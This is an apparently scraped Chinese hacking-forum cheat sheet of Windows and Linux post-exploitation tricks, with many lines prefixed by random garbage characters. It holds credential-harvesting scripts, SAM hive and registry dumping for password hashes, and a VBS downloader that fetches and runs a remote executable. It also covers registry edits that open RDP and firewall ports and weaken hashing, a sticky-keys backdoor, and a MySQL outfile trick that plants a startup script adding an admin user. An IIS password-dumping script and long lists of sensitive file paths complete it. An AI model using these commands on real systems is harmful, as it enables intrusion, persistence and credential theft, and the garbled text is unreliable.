- I' {9 x! h  b' Z5 v4 g" G1 u* [argp@julius ~]$ ./nfs_mount_ex
) q1 F& M* }+ F4 @1 T8 r( a*
& n* k8 ]9 X4 I2 J% ]' T) s' {) tcalling nmount()

, ~' y, _. t6 ?$ U& k" R# k（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
2 R- x/ X, \7 x( i——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
, \. R: u1 K) ?注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
) Z2 Q: I; m! _那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
+ N/ z$ O6 W0 J8 u. G5 w( [}  
; j. M' z; I# ]- ?) j+ p
8 l2 D5 ]& I% q* G提权先执行systeminfo
token 漏洞补丁号 KB956572
1 H) T9 U2 z5 @Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
! K. _4 z! U3 p/ {' Y7 sfor window：

@echo off
9 |1 g# W! t- t  Secho #########system info collection
systeminfo
ver
& E# h4 S9 X! C2 Zhostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator

1 E1 b8 _% d4 u" [3 i* oecho #######at- with   atq#####
2 ^) }8 S: r# P9 yecho schtask /query
6 b, m8 p3 E  T- |
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
/ C' P, f; C- \' hipconfig/all
( R% B, |, U! M, Hroute print
arp -a
netstat -anipconfig /displaydns
1 `9 |0 ~, B* ^8 B( ?/ c# wecho
& w  }* ]6 r) d8 @/ k& ?echo #######service############
sc query type= service state= all
8 M' N! n! s& Z7 b% s8 eecho #######file-##############
cd \
1 C0 f- ~& p5 h" O) C: n$ G7 ~tree -F
& L$ A7 n2 x; p- J: Ufor linux：
$ r, G$ t6 F9 a# }" \) Q
#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
$ F" ]8 t" a( m% R" `echo #######basic infomation##
2 {+ z, {: X" kcat /proc/meminfo
echo
cat /proc/cpuinfo
echo
1 i9 }; D* Z) G1 @rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
* g: ]& f4 z7 B. i5 P

echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

+ t: w8 k! Z! T! x; p  pecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
4 Z2 H. t4 ?$ _9 wcat /etc/hosts
0 @9 {) w7 ^. A# K+ \& Ihostname
ipconfig -a
arp -v
echo ########user####
9 {: f# R4 v; p: Q1 y: ], z# bcat /etc/passwd|grep -i sh
/ Z( b- U- Y% x% G- F( H
echo ######service####
- g9 Y8 G% ~/ k& Y+ o; `# ychkconfig --list
% J: Y$ s3 R/ Z/ z; |
% {3 s  W9 C+ }for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
1 U7 S1 I# K. O; D: Y% e& s
locate passwd >/tmp/password 2>/dev/null
) d* g- m- g8 Gsleep 5
  k; h; o: Q% M6 M8 dlocate password >>/tmp/password 2>/dev/null
. w( j2 F) I: A) y) M3 asleep 5
- h0 Q. `: J* z' a/ E* s% r5 D3 P' Qlocate conf >/tmp/sysconfig 2>dev/null
% z4 e8 w) j; w: x/ wsleep 5
  i' o, r& ^$ z* q; W6 xlocate config >>/tmp/sysconfig 2>/dev/null
5 z8 ^, Y  J6 w8 V. D1 Hsleep 5

7 J* D4 A3 P5 c###maybe can use "tree /"###
0 B7 C3 \* J1 {" G! ?( w/ X* [echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
: R  Z3 _" X. V- b0 `4 n——————————————
! j1 l$ o6 \8 f  z; l3、ethash 不免杀怎么获取本机hash。
( Z' {) Y8 Q8 E% f, K' X首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
: }4 _! P% @* ?, ^$ Q               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
6 u9 _' J' _1 t注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
6 ~1 w. c) K7 j' W2 u; N/ }接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 p) p5 Z; x  ^! @6 A3 D$ W3 `——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
( h( M" N$ q  s0 P' @" {echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
2 z/ U& Q1 q; b& j( Decho sGet.Type = 1 >>c:\windows\cftmon.vbs
6 @1 b9 R9 h& [, e( e5 necho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
8 l7 B8 a6 z/ n9 Mecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
7 x2 j6 \1 X# o% X+ h
' r- W% P' J% C( L2
: [8 s9 H* Q% G* C7 YOn Error Resume Nextim iRemote,iLocal,s1,s2
' i, g# a0 w  f5 J) NiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
2 I* R1 K  W- p" s& j: j# {8 ^s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
. r. T: w  `+ V$ \2 pSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
+ R8 b* A9 F! X8 @Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

4 X/ w- p7 C4 R2 U& Q1 W+ i当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
' k& k& G: `) |9 X& l——————————————————
& B5 \1 Y: k9 f7 {) x5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
' c9 n) U+ I( s# x  S2 J  ZREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
7 E; K5 Y. ~0 q5 n: N3 \) C4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 C, U2 a! O$ s: L! R/ C8 IREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
! g4 X- Y) ^0 {) {1 k0 A————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
/ ^) \( U: x+ o0 d' Tinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
. O4 _' H8 D. |% Iselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
' \2 V: r9 \7 _, f9 g; x————————————————————
  w8 ?3 x$ e6 Q( [7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

6 K% w9 u6 r4 {+ e0 b( ~列出d的所有目录
  
5 y# V0 b5 G! c+ }  for /d %i in (???) do @echo %i

8 s# Y, l4 e- b9 {2 v把当前路径下文件夹的名字只有1-3个字母的打出来

6 Q; T; E! Y+ y% x5 V8 m2.for /r %i in (*.exe) do @echo %i
  
! \: E2 |. i3 ?& P以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

  b5 S. Y: ]' C4 Q* Ffor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

+ P5 r+ D3 f. t3.for /f %i in (c:\1.txt) do echo %i
' a- k) o/ Q% i# R* z+ B: `% W9 }  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

+ O6 o3 A0 m% x, m& J8 W2 I4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
8 j8 g4 x3 m, _0 ^% S
  delims=后的空格是分隔符 tokens是取第几个位置
* v8 _8 H0 Q4 ?2 v——————————
" v) j8 {+ v3 }/ S# Y% z) Z/ n●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
( C, ?- f) ~, F, t/ X1 V
/ J/ ]1 ~/ g& `: n, A* Z2.修改3389的默认端口:
. r4 y& q! I4 n" n6 kHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
' y0 t4 m0 g: b. X  u& l修改PortNumber.
5 S5 S' M# S& g* {! h( h
3.清除3389登录记录:
5 s: N( I8 [8 A) M0 }& ^0 Rreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
" @, L8 A) x5 v* [2 Q' N
0 c7 |1 L4 b# d3 B2 Z5 q( Q4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

. j% m* N7 {! N) `- D! B, K5.禁用TCP/IP端口筛选(需重启):
# L2 Y2 T3 [( i: z1 oREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

" c4 e: ~( P8 ?( q) M6.IPSec默认免除项88端口(需重启):
5 @. |# S' k% A6 S& a7 ureg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
- }6 x' u, R( w* M或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
- p- y4 `( m2 a# z- ?! m; I. r
( ^  e' }! W7 p: s$ Z8.系统口令恢复LM加密:
% d+ b/ |$ b, w5 Breg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
7 B* N% y" p; H# z8 mreg save hklm\security c:\security.hive

3 Q* |7 k9 L2 Y10.shift映像劫持
+ v- t5 n  [; ^$ p0 ^  K4 Zreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
% o# F  a* C% r4 Q( v8 \: ?9 s8 `5 v, Q
9 |/ V' I8 X2 b) t1 P( \+ s# Ireg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
1 {, E8 P- I4 x) D- D-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
; A8 I$ \3 Q5 q0 s6 p, XFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
# O1 X; x9 `4 q& ~serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
8 y2 ~) O& ^' ?9 n9 oset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
& i8 v3 l% J4 M7 ?& Q6 B. U7 {path=IIsWeb.path
+ o7 B" q& l/ F2 @list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
  K' e' E" S4 Y% ~, zend if
" m3 e: M' h: Z/ q. y5 q5 L) y! ]Next
wscript.echo list
9 I$ F0 M1 E' b! _, M/ f6 ?Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
* M0 S2 u8 Q1 M  X5 [! U! NWScript.Quit
复制代码
( W, N/ Z8 D0 D" A  L6 n1 p0 c$ P( v; s----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
, c6 M! A$ N! ~2 l将folder.htt文件，加入以下代码：
# W) Y0 H1 p6 F<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
4 K3 {; ~5 B" `' u7 ]</OBJECT>
复制代码
  ^# Z& [) @+ `' P: B然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
% i, \# q5 }9 g7 L0 g9 M$ KPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
' {* A, L5 D) w+ w: J& Q url=request.severvariables("url")
% o8 B7 `7 b; Z2 r! K, Y 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
3 d/ q7 y% L! {/ w7 O/ f 解决方法
url=request.severvariables("path_info")
& x. E: Y7 X9 `! B, }, Y path_info可以直接呈现虚拟路径 顺利解析gif大马
$ h/ u3 @4 k, s: t4 j
) V3 T- c. H6 r0 B" ~3 m: e==============================================================
0 _6 W; G  ?9 W( YLINUX常见路径：

/etc/passwd
  J/ D5 W- N! f. g/etc/shadow
/etc/fstab
3 [# ~1 [+ K9 E) \* o/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
) b  p4 k3 X8 A9 w/var/httpd/conf/php.ini
5 p8 l' H  _0 Q& c5 f0 P, U. R, Q/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
" ?9 z5 t& I; d+ S" u2 g/var/httpd/conf/php.ini
0 `- u& z: a- ~% S/var/www/index.html
/var/www/index.php
  B! R; s0 g0 D. M$ W/opt/www/conf/httpd.conf
# I. K3 k2 D' P( C% D: e) W9 U- Z2 h/opt/www/htdocs/index.php
/ X/ y" t; L5 o: l6 {/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
- q8 M1 T  ?$ H7 N+ O/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
0 b  N# H* {7 l0 [/usr/local/httpd2.2/htdocs/index.php
9 U* l, r- D, q/ X) l  j  c/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
, z  x" F% C8 o* P# Q/www/php/php.ini
: R+ V7 }) k$ V; P0 C/www/php4/php.ini
/ ^* e" Y. n4 [. b$ H/www/php5/php.ini
2 D1 N( M# u6 ]4 h8 h  `% U6 @+ a, Q& v/www/conf/httpd.conf
: o8 r; {8 u7 e, D5 _/www/htdocs/index.php
2 s- K) Z; V7 M/ o" E3 W" g; X( h/ _* ]/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
0 w( t. v" H( ~  W4 `+ Q- l/apache/apache2/conf/httpd.conf
* v7 i+ U; Z, G: l( ]) b/etc/apache/apache.conf
  J/ X2 [$ s, J: j8 ^/etc/apache2/apache.conf
8 Y2 w2 P: w/ O/etc/apache/httpd.conf
/etc/apache2/httpd.conf
4 T1 a  z' e2 q. k/etc/apache2/vhosts.d/00_default_vhost.conf
& x" Z( Y8 D. B/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
4 r5 p# H/ w/ t: |/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
' _0 ]/ {1 W6 n0 t! X: F3 n/etc/httpd/logs/error_log
& ]6 P5 Q; v" g; I1 G( \/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
" S) J6 Z! p9 O5 s/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
6 c5 i6 ?2 L& C2 e  j1 [- O. E/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/ U  @0 n* R9 @9 m1 T/var/log/apache2/error_log
/var/log/apache2/error.log
* R1 ^' ]) n; ?1 B" h9 q7 N- F3 E3 i1 U9 h/var/log/apache2/access_log
$ ?" v# d' p4 c' S, R  D/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
3 M* @$ a3 B7 m# Z/ N& B: K7 a3 @/var/www/logs/access.log
2 F! I' U% b. B9 _: @: }, ~/usr/local/apache/logs/error_log
- _$ C' G; E% `$ d( S/usr/local/apache/logs/error.log
% _3 p4 ?* I6 {$ V3 H% t! o* ?6 c/usr/local/apache/logs/access_log
7 h) @0 o& H2 s' d5 E: y/ Z/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
8 R: d6 b- \! m# U/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
. A& {) y( C% Q+ }/etc/php.ini
, D* L3 {$ c6 i- F0 [$ m. r/bin/php.ini
0 t" `. N- I1 r/etc/init.d/httpd
/etc/init.d/mysql
% T; L  y! R! e, V% Y$ \/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
  h- `' |% t3 @7 A( q/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
5 z7 N# f2 y2 T; P/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
; K1 ~$ G1 E( p* `2 f$ V/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
4 |! U3 I4 W% b/ P3 L0 u/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
. ~5 j2 J& e; L4 L( z' {% L0 f/usr/local/apache2/conf/php.ini
% p2 L" v$ ~+ J3 ^) F/etc/php4.4/fcgi/php.ini
6 R& r9 x: x4 F! @, X; R6 p/etc/php4/apache/php.ini
; g6 S! ]+ \, Q# i" ~) d3 f/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
* r; z) @  T, Z% E8 }/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
. Q) k& ]& T' [, \- B/usr/local/Zend/etc/php.ini
* S" f& W, T% W$ W4 ?$ g1 O/opt/xampp/etc/php.ini
: U" V2 H$ V+ T. A2 S! Y7 f/var/local/www/conf/php.ini
0 w. F6 M! D# f' H; ~/var/local/www/conf/httpd.conf
+ i( Q# W1 ?# `% L6 @, a/etc/php/cgi/php.ini
* _4 c: J; ~/ x" m$ W/etc/php4/cgi/php.ini
' N  D* \' ]8 a( l' z/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
( r' o% }5 y% _9 e/php/php.ini
/PHP/php.ini
. @5 d# _2 e; Q& \' @. k/apache/php/php.ini
" j: C8 ^. R! g6 `3 J( I/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
: i5 G# y1 `7 \) n2 H1 A2 u7 j0 _/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
( \$ K. G! l* m* A) a/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
$ a3 Y, S; N( _5 r/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
( A, C- @, n5 @, V: m/var/mysql.log
+ m' X/ e2 S* I/var/lib/mysql/my.cnf
+ G2 `: z4 z0 ]  M* U7 J2 n/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
5 t) J+ k& I$ t3 [. ]6 J/etc/mysql/my.cnf
/etc/my.cnf
$ L& a8 j$ c" v/ j0 {! q, g3 D. j5 H/usr/local/cpanel/logs
" F; X1 j$ l+ I+ x9 t/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/ ^$ N) X  y: z7 A) M9 G, D/usr/local/cpanel/logs/error_log
6 e" |2 Y# b0 H% I; \& r/usr/local/cpanel/logs/license_log
" ]) k0 Z% ?% s: A6 w/usr/local/cpanel/logs/login_log
; `3 R& S7 u, P; \& n/usr/local/cpanel/logs/stats_log
7 A/ K: b0 @$ J* h/usr/local/share/examples/php4/php.ini
1 |- B, h: K' p- c2 w/usr/local/share/examples/php/php.ini
2 W8 ^3 `- R  a& S* `9 U
$ E' Y1 G: n! b3 m- B8 V2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
+ F' I0 W3 {8 X4 r
8 |* b' G$ k" H; a9 G% ac:\windows\php.ini
3 s2 w, W0 W+ l$ K  E$ Hc:\boot.ini
c:\1.txt
c:\a.txt
* p5 R. ]. T4 Q7 S+ G
c:\CMailServer\config.ini
, c; M5 m, D# u) n, sc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
; u5 B1 O. H3 j! nc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
) U3 d8 d* z# s' T% M$ F* b! X. IC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
, C, _2 K1 q+ s+ U0 j% f. bC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
- i7 Z. H8 T1 ~& k$ p
c:\hzhost\databases\url.asp
. B: i$ T  J. R2 f% C7 B
c:\hzhost\hzclient.exe
( L% O: w6 a" A! w2 Z8 }C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
. H* I, l* }4 m, }
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
$ D+ s5 Q& i  _. }7 mc:\website\index.html
; A1 [0 [- e9 k& Q2 C/ s( L* M$ `9 gc:\web\index.asp
% k" Y+ F  |; L8 E* h# dc:\www\index.asp
6 m; V! A! S& ?, J+ E" ec:\wwwsite\index.asp
c:\WWWROOT\index.asp
1 h% }8 `- t- rc:\web\index.php
c:\www\index.php
/ ^' t; M0 R$ r; X! V9 Wc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
6 d- j" M6 P, f' g7 v! J8 tc:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
) @1 W( x/ _# l- T! o* R2 Zc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
5 s7 n- u+ }) ^c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
/ R% V8 G: P% T1 h4 Xc:\WWWROOT\default.php
c:\WWWsite\default.php
5 _3 h; J$ L/ p  c+ Q4 wC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
9 p$ a3 C8 ~0 d9 V: JC:\Program Files\Microsoft Office\OFFICE10\winword.exe
  r( O  N# Z1 H! EC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
  I) ?6 z7 H/ U% pC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
# P3 M4 N5 h8 `# v8 _6 |5 p6 EC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
0 c! B8 s6 M8 I8 ?$ ^, }3 l* kc:\rising.ini
* q/ ?5 w' [) nC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
8 _. ?) k. e0 DC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
# ]; Q+ c1 o% q; x" L# SC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
* S: H* q) P( Q: F  D# ~  H: nC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
3 f! Q4 V! M8 j8 C( W0 ?: |4 oC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
# \' B/ X5 ?# a; ~/ k5 A6 a- mC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
# c% ^: P, G( z; \C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
0 L( }% L$ p3 Q& hC:\MySQL\MySQL Server 5.0\my.ini
% u/ c  v) ~( c" W2 ]6 D7 HC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
! B* S; }* h( J$ h6 V# C$ eC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
  `6 \7 C3 u# @' s3 }  C0 mc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
4 K1 U% O: ]# `  D/ o. |5 p  eC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
# O1 Z0 b: E* s7 p- j) ~3 XC:\WINDOWS\system32\inetsrv\MetaBase.xml
9 ?0 ?( [0 q# T4 g" [' {1 o9 o2 }C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
; @6 d; }8 I, t% Y, x6 ]$ T- JC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
" @/ G* t) _' Mc:\CMailServer\config.ini
: Y* p7 }: c. ]- A2 c- N1 lc:\program files\CMailServer\config.ini
& N4 W& }+ E: t' @c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
) D8 M# }+ r& V+ C0 R8 {, e3 Ac:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
$ [0 x+ L4 {5 Lc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
6 n. p/ E% g" k1 U/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
5 }( e' [9 G# {c:\Program Files\Tencent\qq\User.db
6 v5 H( @5 D( i: hc:\Program Files\Tencent\qq\qq.exe
* @% b# \: }% @6 Bc:\Program Files\Tencent\qq\bin\qq.exe
& o4 `- _" R+ P5 D9 I" v9 Cc:\Program Files\Tencent\qq2009\qq.exe
